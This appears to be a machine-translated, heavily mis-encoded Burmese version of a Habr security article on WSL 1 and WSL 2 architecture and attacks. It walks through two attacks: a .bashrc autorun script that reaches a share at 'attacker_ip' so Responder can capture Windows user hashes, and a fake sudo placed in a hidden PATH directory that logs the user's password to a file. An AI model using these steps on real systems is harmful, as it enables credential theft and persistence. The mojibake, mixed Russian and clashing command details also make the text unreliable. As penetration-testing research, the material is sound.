áááşáááŻá OTUS áááş áĄáąáŹááşáááŻááŹááá˝ááş áááşáááşá¸á áŽá¸ááźáąáŹááşá¸áĄáá áşááᯠá áááşáá˛áˇáááşá . áááşáááşá¸á áááşáááˇáşááťážáąáŹáşáááˇáşááťááşáá˝ááş ááťá˝ááşáŻááşáááŻáˇááááŹáá áşáŚá¸ááźá áşááąáŹ Alexander Kolesnikov áážááąá¸ááŹá¸ááŹá¸ááąáŹ ááąáŹááşá¸ááŤá¸áá áşááŻááşááᯠáááˇáşáĄáŹá¸ááťážááąááŹá¸ááŤáááşá

2016 ááŻáážá áşáá˝ááş Microsoft ááž WSL áááşá¸áááŹáĄáá áşááᯠIT áĄáááŻááşá¸áĄáááŻááşá¸áááŻáˇ ááááşáááşáá˛áˇáááş (WáĄáá˝ááşá¸áááŻááşá¸ Subsystem áĄáá˝ááş Linux)á áááşá¸áááş ááąáážááşáá˝ááş ááŹáááşáážááˇáş áĄáááˇáşááźááˇáş OS áĄááŻáśá¸ááźáŻáá°ááťáŹá¸áĄááźáŹá¸ áá°ááźááŻááşááťáŹá¸áážáŻáĄáá˝ááş áááŻááşáá˝á˛áááşááąááąáŹ ááááşá ááážááážááŻááşá¸áááŻááşááąáŹ ááźááŻááşáááşááťáŹá¸ááᯠááąáŤááşá¸á ááşá¸áááŻááşá áąáá˛áˇáááş- Windows и LinuxááŽáááşá¸áááŹá OS tools áá˝áąááᯠáĄááŻáśá¸ááźáŻáááŻááşá á˝ááşá¸ááᯠááąá¸á á˝ááşá¸ááŤáááşá Linux áááŻááşá¸ááśááŹá¸áááş Windows á áááşáááşááááŻáᲠLinuxáĽáááŹáĄáŹá¸ááźááˇáş multi-boot áááŻáĄááŻáśá¸ááźáŻááźááşá¸á Habr áá˝ááş WSL áĄááŻáśá¸ááźáŻááźááşá¸á áĄááťááŻá¸ááťáąá¸áá°á¸ááťáŹá¸áááŻááąáŹáşááźáááˇáş ááąáŹááşá¸ááŤá¸ááťáŹá¸á á˝áŹááᯠáááşáážáŹáá˝áąáˇáááŻááşááŤáááşá áááŻáˇááąáŹáşá áááşá¸áááşá¸á ááŹááąáŹááşá¸áááşáážáŹá á¤á áŹááąá¸ááťáááşáá˝ááş operating system ááťáŹá¸á ᤠsymbiosis á ááŻáśááźáŻáśááąá¸áááŻááşáᏠááąáˇááŹáážáŻááťáŹá¸ááᯠá¤áĄáááşá¸áĄááźá áşáá˝ááş ááá˝áąáˇáážááá˛áˇááŤá á¤áááŻáˇá áşáááş áááşá¸áááŻááźáŻááźááşáááş ááźááŻá¸áááşá¸áážáŻáá áşááŻááźá áşáááşá ááąáŹááşá¸ááŤá¸áá˝ááş WSL 1 áážááˇáş 2 architectures ááťáŹá¸á áĄááşášááŤáááşááťáŹá¸ááᯠáá˝áąá¸áá˝áąá¸ááźáŽá¸ á¤áááşá¸áááŹááťáŹá¸ááᯠáĄááŻáśá¸ááźáŻáááˇáş á áá áşááťáŹá¸áĄááąáŤáş áááŻááşáááŻááşáážáŻááťáŹá¸á áĽáááŹááťáŹá¸á á˝áŹááᯠáá˝á˛ááźááşá¸á áááşááźáŹááŤáááşá ááąáŹááşá¸ááŤá¸ááᯠáĄáááŻááşá¸áážá áşáááŻááşá¸áá˝á˛ááŹá¸áááşá ááááĄáááŻááşá¸áá˝ááş áááŻááşáááŻááşáážáŻá áĄáááááŽáĄááŻááŽáááşá¸áááşá¸ááťáŹá¸ááᯠáááşááźááŤáááşá Linux и WindowsááŻáááááąáŹááşá¸ááŤá¸áážáŹ á ááşá¸áááşáááşáááşá¸ááťááşáá áşáᯠáááşááąáŹááşááźááşá¸áážááˇáş áááŻááşáááŻááşáážáŻááťáŹá¸ááᯠááźááşáááşááŻááşááŻááşááźááşá¸áĄááźáąáŹááşá¸ áá˝áąá¸áá˝áąá¸ááŤáááşá
WSL 1- ááááŻááŹáĄááşášááŤáááşááťáŹá¸
WSL ááŻáśááźáŻáśááąá¸ááźáżááŹááťáŹá¸ááᯠáĄááźááˇáşáĄáááŹá¸áááşáááşáĄáá˝ááş subsystem á áĄááąáŹááşáĄáááşááąáŹáşáážáŻáážááˇáş áááşá ááşááąááąáŹ áĄááááá˝á˛ááźáŹá¸ááťááşááťáŹá¸ááᯠááąáŹáşááŻááşáááş áááŻáĄááşááŤáááşá WSL ááž ááźáąáážááşá¸ááąá¸áááˇáş áĄááŻáśá¸ááźáŻáá°á áĄááááááŻáĄááşááťááşááťáŹá¸áá˛ááž áá áşááŻáážáŹ terminal access ááᯠáá˝ááˇáşááąá¸ááźááşá¸ ááźá áşáááşá Linux OS ááŤáážáááąáŹ host ááąáŤáşáážá á áá áşááťáŹá¸ WindowsáááŻáˇáĄááźááşá ááąá¸ááŹá¸ááąáŹ áá˝á˛áááşáĄááŻáśá¸ááźáŻáááŻááşáážáŻáááş áĄáá˝ááşáááş áá°áááşá¸áĄáááŻááşá¸ááźá áşááąáŹááźáąáŹááˇáş executable áááŻááşááťáŹá¸áááş Linux (ELF) ááᯠá áá áşáá˛áááŻáˇ áááŻááşáááŻááşá áááşáááŻááşáááş Windowsá¤áááşáážááşá¸ááťááşááťáŹá¸ áĄáąáŹááşááźááşáááşáĄáá˝ááş Windows 10 áĄáááŽááąá¸áážááşá¸ááťáŹá¸ááᯠá áááşáĄááŻáśá¸ááźáŻáááŻááşá áąáááˇáş áĄáá°á¸áááşá áá áşáá áşááŻááᯠáááşááŽá¸ááŹá¸áááş Linux áááşáážááşááŹá¸ááąáŹ system call ááťáŹá¸ááᯠáĄááŻáśá¸ááźáŻááźááşá¸ - áááŻáˇááźáąáŹááˇáş syscall ááťáŹá¸ááᯠmap ááŻááşáááş ááźááŻá¸áááşá¸áážáŻáá áşáᯠááźáŻááŻááşáá˛áˇáááş Linux áĄááąáŤáş WindowsááŻááşáááŻááşá¸áááŻááşááŹáĄáá áááşá¸ááᯠááááŻááşááŹáĄáá áşááťáŹá¸áážááˇáş ááŻááşáááşá¸á ááşááŻáśá áśáĄáá áşáá áşáᯠáááˇáşáá˝ááşá¸ááźááşá¸ááźááˇáş áĄááąáŹááşáĄáááşááąáŹáşáá˛áˇáááşá ááŻááşáááŻááşá¸áááŻááşááŹáĄáá ááááŻááŹááŻáśá áśáážáŹ á¤áááŻáˇááźá áşáááş-

áĄááźáąááśáĄáŹá¸ááźááˇáşá áááşáááşáážáŻá
áá
áşáážááˇáş áĄááźááşáĄáážááşáááşáá˝ááşáážáŻ Linux kernel module áĄááťáŹá¸áĄááźáŹá¸áážááˇáş áĄáá°á¸ process áĄááťááŻá¸áĄá
áŹá¸ pico ááᯠáĄááŻáśá¸ááźáŻá á
áŽá
ááşáá˝á˛áˇá
ááşá¸ááŹá¸áááşá áĄáááşááŤááŻáśáá˝ááş instance áá˝ááş run ááąááąáŹ process ááᯠááźáááŹá¸áááşá Linux host áážáŹ native ááźá
áşááážáŹááźá
áşááźáŽá¸ ááŻáśáážááş application áá˝áąáááŻáᲠresource áá˝áąáááŻáᲠáĄááŻáśá¸ááźáŻáááŤáááşá WindowsááŤááąáááˇáş ááŤááᯠáááşáááŻáĄáąáŹááşááźááşáááŻááşááá˛á ááŽá
áŽááśááááşá¸áážáŹ ááŻááşáááşá¸á
ááşáááŻááşáᏠáááąáŹáááŹá¸ááťáŹá¸ááᯠááŽáá˝ááşáá˛áˇááźáááş Windowsá áááşá¸áááş áĄááźáŹá¸ OS ááž áĄáááŽááąá¸áážááşá¸áá
áşááŻááᯠááŻááşááąáŹááşáááş áááŻáĄááşááąáŹ áááşáááşáážáŻá
áá
áş áĄá
áááşáĄáááŻááşá¸ááťáŹá¸áĄáŹá¸ááŻáśá¸ (áááşá¸áááŹá¸áážááşá¸ááąáŤáş áá°áááşá) ááśáˇáááŻá¸ááąá¸áááşá
áĄáááŻááźáŻááŹá¸ááąáŹ abstraction áááş operating system (áĄáá°á¸áááźááˇáş Windows) áááş áĄááźáŹá¸ OS ááŻááşáááşá¸á ááşáá áşáᯠá áááşáááş ááťážáąáŹáşáááˇáşááźáŽá¸ áĄáá˝áąáá˝áąááťááşá¸áááşáážáŻááᯠáĄáááŻááźáŻáá˛áˇáááşá
áááŻáˇááźáąáŹááˇáş pico ááŻááşáááşá¸á ááşáĄáá˝ááşá¸áážá áááşáááˇáş application áááŻáááᯠkernel ááᯠáááˇáşáá˝ááşá¸á ááşá¸á áŹá¸ááźááşá¸ááážááᲠrun áááŻááşáááşá Windows:
- á áá áşááąáŤáşáááŻáážáŻááťáŹá¸á áááŻááşáááşááŽáážáŻáážááˇáş ááŹááŹááźááşáááŻááźááşá¸áááŻááşáᏠááźáżááŹááťáŹá¸ááᯠáĄáá°á¸áááşááąáŹááşáážáŻááąá¸áá°ááťáŹá¸á ááźáąáážááşá¸ááąá¸ááááşá
- áááşááąáŹááşáá˝ááˇáşááááşá¸ááťáŻááşáážáŻááᯠSecurity Monitor áážáá áşáááˇáş áĄááąáŹááşáĄáááşááąáŹáşááááşá ááąáŹáşááŽááŹáááş kernel áá˝ááşáááşáážáááźáŽá¸ áááŻáˇááźáąáŹááˇáş Windows áááŻáááŻáˇááąáŹ ááŻááşáááşá¸á ááşááťáŹá¸áĄáá˝ááş ááśáˇáááŻá¸ááąá¸áá°áĄááźá áş ááŻááşááąáŹááşáááŻááşáááˇáş ááááŻááşááŹáĄáá áşáá áşááŻááŻáśá áśááźááˇáş áĄáááˇáşááźážááˇáşáááşáážáŻáá áşáᯠáááŻáĄááşáá˛áˇáááşá pico ááŻáśá áśáááşááŻááşáááşá¸á ááşááᯠáĄáąáŹááşáá˝ááş ááŻáśááźááşá¸áĄáááŻááşá¸ ááźáááŹá¸áááşá

áááŻááşá
áá
áşááźáąáŹááˇáş Linux á
áŹááŻáśá¸áĄááźáŽá¸áĄááąá¸ áá˝á˛ááźáŹá¸áááážááááŻááşááąáŹ áááŻááşáážááˇáş áááŻááşáááŽáĄáááşááťáŹá¸ááᯠáĄááŻáśá¸ááźáŻáááşá Windows WSL áážááˇáşáĄáá°áĄááŻáśá¸ááźáŻáááşáĄáá˝ááş áááŻááşá
áá
áşáĄááťááŻá¸áĄá
áŹá¸áážá
áşááŻááᯠáááˇáşáá˝ááşá¸ááŹá¸áááş- VolFS áážááˇáş DriveFSá VolFS áááş áááŻááşá
áá
áş áĄááąáŹááşáĄáááşááąáŹáşáážáŻáá
áşááŻááźá
áşáááşá LinuxDriveFS áááş á
ááşá¸ááťááşá¸ááťáŹá¸áĄáááŻááşá¸ ááŻááşááąáŹááşááąáŹ áááŻááşá
áá
áşáá
áşááŻááźá
áşáááşá Windowsá áááŻáˇááąáŹáş áĄáááşááťáŹá¸á á
áŹááŻáśá¸áĄááźáŽá¸áĄááąá¸ áá˝á˛ááźáŹá¸áááážááááŻááşáážáŻ áá˝áąá¸ááťááşáá˝ááˇáş áážááááşá
WSL 2
WSL 1 áážáŹ áááˇáşáááşááťááşáĄááťáŹá¸áĄááźáŹá¸áážááá˛áˇááźáŽá¸ ááťááşááźááˇáşáá˛áˇ áĄááŻááşáá˝áąááᯠááźáąáážááşá¸ááŹáážáŹ áĄááŻáśá¸áááźáŻáááŻááşáá˛áˇááŤáá°á¸- áĽáááŹáĄáŹá¸ááźááˇáş 32-bit ááᯠáááşáááşáááŻááşá á˝ááşá¸ ááážááá˛áˇááŤáá°á¸á Linux áĄáááŽááąá¸áážááşá¸ááťáŹá¸áááş device drivers ááťáŹá¸ááᯠáĄááŻáśá¸áááźáŻáááŻááşááŤá áááŻáˇááźáąáŹááˇáş áááá ááŻáážá áşáá˝ááş WSL 2 ááᯠááŻááşááźááşáá˛áˇááźáŽá¸ subsystem áááşááąáŹááşááźááşá¸áááŻááşáᏠááťááşá¸áááşáážáŻááᯠááźáąáŹááşá¸áá˛á áąáá˛áˇáááşá WSL 2 áááş WSL 1 á resource consumption ááááąáááášáááŹááťáŹá¸áážááˇáş áááŻááşááŽááąáŹ optimized virtual machine áá áşááŻááźá áşáááşá áááŻáĄá፠user ááźáąáážááşá¸ááąááąáŹ ááźáżááŹááťáŹá¸áĄááąáŤáş áá°áááşá OS áááş WindowsáĄááŻááşááŻááşáááşáĄáá˝ááş áááŻáĄááşááąáŹ subsystem ááŹá¸áážááşá¸ááᯠáá˝áąá¸ááťááşáááŻááşáááş LinuxáĄááŹá¸áĄááŹáážáááąáŹ áĄáŹá¸áááşá¸ááťááşááťáŹá¸ááᯠááťážáąáŹáˇááťáááşáĄáá˝ááş WSL 2 ááᯠHyper-V ááᯠáĄááźáąááśá áĄááąáŹááşáĄáááşááąáŹáşáá˛áˇáááşá Windows 10ááŽááŻáśá áśáážáŹ Windows operating system kernel ááᯠááŽá¸ááźáŹá¸á Ꭰrun áááŻááşáá˛áˇá á˝ááşá¸áááşáážááááş LinuxWSL áá˛áˇ version 1 ááᯠáá˝áśáˇááźááŻá¸áááŻá¸áááşáážáŻáá˛áˇ áŚá¸áááşááŹááᯠááźááááŻáˇ áááşáá˝ááşááźáŽá¸ beta feature áĄááąáá˛áˇ ááááşáááşáá˛áˇááŹááᯠáááááááˇáşááŤáááşá Windows á¤ááąááŹáá˝ááşá áááŻáˇááźáąáŹááˇáş Hyper-V áááŻáˇáá°á¸ááźáąáŹááşá¸ááźááşá¸áááş ááá˝á˛ááá˝áąááźá áşááŹáá˛áˇáááşá ááąáŹááşááŻáśá¸ááááŻááŹááŻáśá áśáážáŹ á¤áááŻáˇááźá áşáááş-

ááŽááŹá¸áážááşá¸áážáŹ system kernel áá˝áąá Windows и Linux áá
áşááŻááťááşá¸á
áŽáá˝ááş áááşá¸ááááŻááşáááŻááşáĄáááşá¸áĄááźá
áşááťáŹá¸áážáááźáŽá¸ áááŻááşá
áá
áşáĄáá˝ááşá¸ááᏠáááşáá°ááťááąááąáŹáşáááşá¸ á¤áááşáá°ááťáážáŻáááş ááźáŽá¸ááźááˇáşá
áŻáśááźááşá¸ááážáááąá¸ááŤá áááŻááşá
áá
áşááťáŹá¸áĄááźáŹá¸ áĄááźááşáĄáážááşáááşáá˝ááşáážáŻááᯠ9P protocol áá˝ááşáááşáááşááąáŹ client-server wrapper áážáá
áşáááˇáş ááźáŽá¸ááźáąáŹááşáááşá
áááąáˇáá˝ááş Microsoft áááş WSL 1 áážááˇáş WSL 2 áĄááźáŹá¸ ááźáąáŹááşá¸áááŻááşáááˇáş á á˝ááşá¸áááşááᯠááśáˇáááŻá¸ááąá¸ááŹá¸áááşá ááŹá¸áážááşá¸áážá áşááťááŻá¸á ááŻáśá¸ááᯠáĄááŻáśá¸ááźáŻáááŻááşáááşá
WSL ááŻáśááźáŻáśááąá¸
ááąáŹááąáŹáááşáá˝ááşá á áá áşáá˝á˛ááťáŹá¸ááźáŹá¸ áááşáá˝ááşááąá¸ááᯠáááŻááşáááŻááşáááşáĄáá˝ááş áááŹá¸áááş OS ááááááŹááťáŹá¸ááᯠáĄááŻáśá¸ááźáŻááźááşá¸áĄáá˝ááş áááşá¸áááşá¸áĄááťááŻáˇááᯠááąáŹáşááźáááˇáş áĄááŻááşááťáŹá¸á á˝áŹáážááááşá á áŹááąá¸ááťáááşáá˝ááş áááŻááşáááŻááşáážáŻááťáŹá¸á áááşá ááşáážáŻááᯠá á áşááąá¸áááş áááşá¸áááŻáˇá script ááťáŹá¸ááᯠáĄááŻáśá¸ááźáŻááŤáááşá áĄáá˝áąáá˝áąáááŻááşáááŻááşáážáŻááťáŹá¸áážááˇáş áĄááźáąáĄááąááťáŹá¸á áŹáááşá¸-
1. áááŻááşá áá áş áĄááąáŹááşáĄáááşááąáŹáşáážáŻ- áááşááąáŹááşáá˝ááˇáşá ááťážááąááŹá¸ááąáŹ áááşá¸áá˝ážááşááťáŹá¸/ááąááŹááážááşáážáŻ ááášáááŹá¸ááťáŹá¸ ááážááážáŻá
áááşáážááşá¸ááŽáážáŻ á ááşá¸ááťááşá¸ááťáŹá¸ ááťááŻá¸ááąáŹááşáážáŻááťáŹá¸ááᯠááŻáśá¸ááźááşáááş ááŻááąáá ááźáŻááŻááşáá˛áˇáááşá Linux FS->Windows FSá Windows FS->Linux FS. ááŻááąáááááş áá áşáážááş OS áĄáá˝ááşá¸ ááąá¸ááŹá¸áááˇáş áááŻááşáá áşááŻááᯠáá˝ááşá¸ááśáááŻááşáážáŻááᯠáááŻááşááźáá˛áˇáááşá áĄá áŹá¸áááŻá¸áááşá áááşáá°ááťáŹá¸áááşááŽá¸áááşáážááˇáş áááŻááşá áá áşá áĄá áááşáĄáááŻááşá¸ááťáŹá¸ááᯠááťááşáááşáááşá¸ ááźááŻá¸áááşá¸áá˛áˇáááşá
ááŹááşáááşá¸-
- áá áááşáááşáážáŻá áá áşááž áááŻááşáááŻááşáážáŻ Windows â OS á /etc directory ááž áááŻááşááťáŹá¸ááᯠááźáŻááźááşáá˝ááşá¸ááśááźááşá¸ Linux.
- áá áááşáááşáážáŻá
áá
áşááž áááŻááşáááŻááşáážáŻ Linux â áááŻááşáááŽááťáŹá¸áážá áááŻááşááťáŹá¸ááᯠááźáŻááźááşáá˝ááşá¸ááśááźááşá¸-
C:Windows,C:Program Files,C:Users<User>
2. network stack ááᯠáĄááąáŹááşáĄáááşááąáŹáşááźááşá¸á
áááşáááşáážáŻá áá áşááž áááŻááşáááŻááşáážáŻááťáŹá¸á áĽáááŹááťáŹá¸ááᯠáĄááŻáśá¸ááźáŻá ááŻááąááááᯠááźáŻááŻááşáá˛áˇáááşá Linux áĄááąáŤáş Windowsáá˝ááşáááş stack á áááşáááşáážáŻáááŻááşáᏠáĄááşášááŤáááşááťáŹá¸á áĄáá°á¸áááźááˇáş áĄáááşá¸áĄááźá áşáĄááťááŻá¸ááťááŻá¸áĄáá˝ááş áááşá¸á áĄááąáŹááşáĄááŹá¸á áá á áşááźááşá¸ ááášáááŹá¸ááťáŹá¸ááᯠáĄááŻáśá¸ááťááśáá˛áˇááááşá
ááŹááşáááşá¸-
- á áá áşáá˝ááş áĄááŻááşááťáŹá¸ááąááąáŹ port áááŻáˇ áááşááąáŹááşáá˝ááˇáşáá˝ááˇáşááźááşá¸ Windows
- áááˇáşááťáąáŹáşááąáŹáĄáá˝ááˇáşáĄááąá¸ááážááᲠááááşáááşá¸áá áşááŻáá˝ááˇáşáážá áşááźááşá¸á
- áááşáááşáážáŻá áá áşáá˝ááş elf áááŻááşááᯠáĄááŻáśá¸ááźáŻá reverse shell áá áşááŻááᯠááŻááşááąáŹááşááźááşá¸ Windows.
3. WSL á áá áşáá˝á˛ááᯠáĄááŻáśá¸ááźáŻá áĄáášáááŹááşáážáááąáŹ ááąáŹáˇááşáᲠááŻááşáááşá¸á ááşááťáŹá¸ á áááşááźááşá¸ááᯠááŻáśá¸áá˝ááşááźááşá¸á
ááŻááąáááááş áááŻá¸áážááşá¸ááąáŹáĄááťááşáĄááąáŤáş áĄááźáąááśááŹá¸áááş - ááŻáśááźáŻáśááąá¸á áá áşáá˝á˛ááťáŹá¸áááş WSL 1 ááá ášá áá˝ááş áááŹá¸áááşááśáˇáááŻá¸ááąá¸áá°ááᯠáĄááŻáśá¸ááźáŻá ááŻááşááąáŹááşáááˇáş áĄááźáŹá¸ kernel áĄáá˝ááşá¸áážá áĄááźá áşáĄááťááşááťáŹá¸ááᯠááźáŹá¸ááźááşáááááŻááşááŤá WSL 2 áááá ášá áááşáá˝ááşá ááźá áşááąáŤáşááŹáááˇáşááźá áşáááşááťáŹá¸ááᯠááźááˇáşáážáŻáááş áááşá¸áááşá¸ááážáááŤá ááąáŤáˇááŤá¸ááąáŹ virtual machine áĄáá˝ááşá¸áážá ááŽá¸ááźáŹá¸ kernel áá áşááŻáá˝ááşá
ááŹááşáááşá¸-
1) á áá áşáááŻáˇáĄááąá¸áážáááşááąáŹááşáá˝ááˇáşáĄáá˝ááş áĄáááŽááąá¸áážááşá¸áááŻáá˝ááˇáşááźáŽá¸ áážááşáááşá¸áááşááŹá¸ááąáŹááźá áşáááşááťáŹá¸áááŻááźááˇáşáážáŻááŤá
WSL 1 á ááşá¸áááşááťááşááťáŹá¸- Hash Hijacking (OS) Windows)
áááşáá˝áąáˇááťáá˛áˇáĄáááŻááşá¸ááᯠááąáŹááşááŻáśá¸ááąáŹáˇ ááąáŹááşááŤááźáŽá ááááŚá¸á á˝áŹ á ááşá¸áááşáááşáááşá¸ááťááşááᯠáááşááąáŹááşáááŻáˇ áááŻáĄááşááŤáááşá á ááşá¸áááşáážáŻáĄáŹá¸ááŻáśá¸ááᯠá ááşá¸áááşááŻáśáááşá¸áážáŹ ááźáŻááŻááşáá˝áŹá¸áážáŹááźá áşááŤáááşá Windows 10 ááááá WSL áĄáá˝ááş áá˝áąá¸ááťááşááŹá¸ááąáŹ áááşáááşáážáŻá áá áş ááŻáśááááşáááş Ubuntu á§ááźáŽá áá áááşá ááŻáśááᯠááťáááşá¸áá˝áąá¸ááťááşáá˛áˇááźáŽá¸ áĄááźáŹá¸ááŻáśááťáŹá¸ááááşá¸ áĄááŹá¸áá°áááş áĄááŻááşááŻááşááŤááááˇáşáááşá á ááşáááşáááşáááş áĄááááˇáşááąá¸ááťááşááťáŹá¸-
áĄáááşáŚá¸ááŻáśá¸ áá˝ážááˇáşáááşááááşá powershell.exe á
áŽááśáááˇáşáá˝á˛áá°áĄááźá
áş
WSL 1 áĄáá˝ááş áááşáááş command ááťáŹá¸ááᯠááŻááşááąáŹááşáááş áááŻáĄááşáááş-
- áá˝ááˇáşááŤ-Windowsáá˝áąá¸ááťááşáááŻááşááąáŹáĄááşášááŤáááş -áĄá˝ááşáááŻááşá¸ -áĄááşášááŤáááşáĄáááş Microsoft-Windows-áááşáĄáąáŹááşááśá áá áş-Linux #WSL ááŻááşááąáŹááşááťááşááᯠáá˝ááˇáşááŤ
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-áááŻááşáá˝ááş ~/Ubuntu.appx -UseBasicParsing #ááŻáśáááşá፠Linux áááŻááşááááŻááąáŹáˇááş á áááŻá¸ááž
setup ááᯠreboot ááŻááşááźáŽá¸áááş bash command ááᯠrun áááŻáˇáááŤáááşá áĄááŹáĄáŹá¸ááŻáśá¸ áážááşáááşá á˝áŹ áĄááŻááşááŻááşáááş console áážáŹ ááŽááᯠoutput ááᯠáá˝áąáˇáááŤááááˇáşáááşá Windows:

ááťá˝ááşáŻááşáááŻáˇáááş Kali distribution ááᯠattacker á machine áĄááźá
áşáĄááŻáśá¸ááźáŻááŤáááşá Linux, á
ááşáĄáŹá¸ááŻáśá¸áááş áá°ááŽááąáŹ ááąááá˝ááşá¸áá˝ááşáááşáá˝ááş áážáááááşá
á
ááşáážáŹ WSL ááᯠunprivileged access áážááááşáááŻáˇ áá°áááźááˇáşááĄáąáŹááşá WindowsáááşáááşáážáŻá
áá
áşááᯠáááŻááşáááŻááşááźááˇáşááźááĄáąáŹááşá Linuxáááą áĄááááˇáşááąá¸áááŻááşá¸á
áąááŹá LinuxáááŻááşáááŻááşáážáŻááᯠáĄááąáŹááşáĄáááşááąáŹáşáááşáĄáá˝ááşá ááťá˝ááşáŻááşáááŻáˇáááş áááŻá¸áážááşá¸ááąáŹ autorun áááşá¸áááŹááᯠáĄááŻáśá¸ááźáŻááŤáááş - ááťá˝ááşáŻááşáááŻáˇá script ááᯠenvironment áá˛áááŻáˇ áááˇáşáá˝ááşá¸ááŤáááşá LinuxááŽáááŻááŻááşáááŻáˇáĄáá˝ááş áááŻááşááᯠááźáąáŹááşá¸áá˛áááŻáˇ áááŻáĄááşááŤáááş .bashrc.
WSL ááźááˇáş á ááşáá˝ááş ááťá˝ááşáŻááşáááŻáˇ ááŻááşááąáŹááşáááş-
1. bash
2. ĐĐľŃĐľŃ
ОдиП в дОПаŃĐ˝ŃŃ Đ´Đ¸ŃокŃĐžŃĐ¸Ń ĐżĐžĐťŃСОваŃоНŃ: cd /home/sam/
2. echo ÂŤ/home/sam/.attack.shÂť >> .bashrc
3. echo ÂŤicalcs.exe Âť \\\\attacker_ip\\shareName\\Âť > /dev/null 2>&1Âť >> .attack.sh
4. chmod u+x .attack.sh
5. exitááŹááŽááŹá¸ááźááˇáş Linux ááťá˝ááşáŻááşáááŻáˇááŻááşááąáŹááşáááş-
1. Responder -I eth0 -rdvwááŹá¸áá áşá áŽá¸áĄáŹá¸ááźááşáˇ Windows bash ááᯠrun ááźááˇáşááĄáąáŹááşá
Kali á ááşáážáŹ ááááşáá˝áąááᯠááťá˝ááşááąáŹáşáááŻáˇ á áąáŹááˇáşááąááŤáááşá Linux:

ááŤáááŻáááş user hash áá˝áąáááźáŽ Windows á
áá
áşááąáŤáşáá˝ááş command áá
áşááŻááᯠrun ááźááşá¸ááźááˇáş WSL subsystem áážáá
áşáááˇáş Linux.
WSL 1 á ááşá¸áááşáážáŻááťáŹá¸- áĄááŻáśá¸ááźáŻáá° á ááŹá¸áážááş (OS) ááá°ááźááşá¸ Linux)
ááąáŹááşáááş á
ááşá¸áááşáážáŻáá
áşáᯠááŻááşááźááˇáşááĄáąáŹááşá á¤á
á
áşááąá¸áážáŻáĄáá˝ááşá¸ ááťá˝ááşáŻááşáááŻáˇáááş áááŻááşáááŻáˇáááˇáşááŤáááşá .bashrc operating system user password áááŻááá°áááş command áĄááťáŹá¸áĄááźáŹá¸ Linux.
bash áááŻáá˝ááˇáşááźáŽá¸ command ááťáŹá¸áááŻáááŻááşááźááŤá ááŻáˇá
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtÂť >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit áááŻááşáááŻááşáážáŻáĄáąáŹááşááźááşáááşáĄáá˝ááş áĄááŻáśá¸ááźáŻáá° Sam áááş terminal áá˝ááş sudo áááŻááąáŤáşááááşá LinuxááŽááąáŹááşáážáŹ OS áĄááŻáśá¸ááźáŻáá°áá˛áˇ á
ááŹá¸áážááşááᯠLinux áááŻááşáá˛áážáŹ áážáááąáážáŹá፠pass.txt:

áááŻááşáááŻááşáážáŻááťáŹá¸ááᯠáĄááąáŹááşáĄáááşááąáŹáşááźááşá¸áĄáŹá¸ ááŽáĄááŻááŽáĄááťááşáĄáááşááťáŹá¸áĄáá˝ááşáᏠááąá¸áĄááşáá˛áˇááźááşá¸ááźá
áşáááşá
ááąáŹááşá¸ááŤá¸á ááąáŹááşáĄáááŻááşá¸áá˝ááş 9P ááááŻáááŻááąáŹááᯠáĄááąáŹááşáĄáááşááąáŹáşááźááşá¸á á¤ááááŻáááŻááąáŹáĄáá˝ááş á áááşááŹáá áşáᯠáááşááŽá¸ááźááşá¸áážááˇáş áááşá¸áááŻáĄááŻáśá¸ááźáŻá áááŻááşáááŻááşáážáŻáááŻáááşá¸ ááŻááşááąáŹááşááźááşá¸áááŻáˇááᯠááąáŹáşááźááŤáááşá
ááŻáśá¸ááąáŹá áŹááąááťáŹá¸á áŹáááşá¸
áááŻááźáŽá¸áááşááŤ
source: www.habr.com
